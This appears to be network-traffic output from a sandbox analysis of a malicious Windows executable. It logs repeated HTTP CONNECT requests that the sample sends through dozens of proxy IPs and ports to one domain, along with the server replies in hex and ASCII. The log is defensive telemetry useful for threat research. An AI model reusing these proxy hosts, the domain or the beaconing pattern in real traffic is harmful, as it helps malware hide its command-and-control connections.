Mar 11, 2024 16:42:51.985362053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.782277107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.11	50716	196.61.44.54	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840787888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.11	54520	201.184.53.180	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840851068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.938677073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.995424032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.032546043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.079114914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.079174042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.079088926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.079205036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:27.188317060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.11	54903	138.36.150.26	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.841315031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.11	54874	94.177.106.178	2324	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.841346979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.11	54872	177.38.5.16	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.841903925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.11	55018	140.84.176.246	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.845755100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.11	55020	140.84.176.246	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.847019911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.11	55021	140.84.176.246	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.847922087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.11	55022	140.84.176.246	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.849710941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.11	54957	216.9.224.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.850449085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.11	54831	117.160.250.163	81	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.860650063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.348911047 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:42:27 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.11	54976	104.18.44.93	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.892198086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.046657085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.11	54981	104.20.75.69	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.893474102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.047899008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.11	54999	104.21.194.19	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.924382925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.078716040 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.11	55000	162.159.242.230	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.964395046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.125559092 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.11	54923	223.113.80.158	9091	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.968842030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.418874025 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:42:29 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.11	53904	74.119.144.60	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.999975920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.11	54606	194.163.159.93	5946	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.006956100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.172916889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.189068079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.191395998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.282217979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.282294989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.375986099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.391509056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.11	55035	104.16.108.204	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.021795034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.175892115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.11	54623	220.77.191.154	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.056242943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.11	55050	185.162.228.128	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.056243896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.210813046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.11	54974	3.9.71.167	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.060012102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.400804043 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:28 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.11	54693	104.19.120.84	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.060144901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
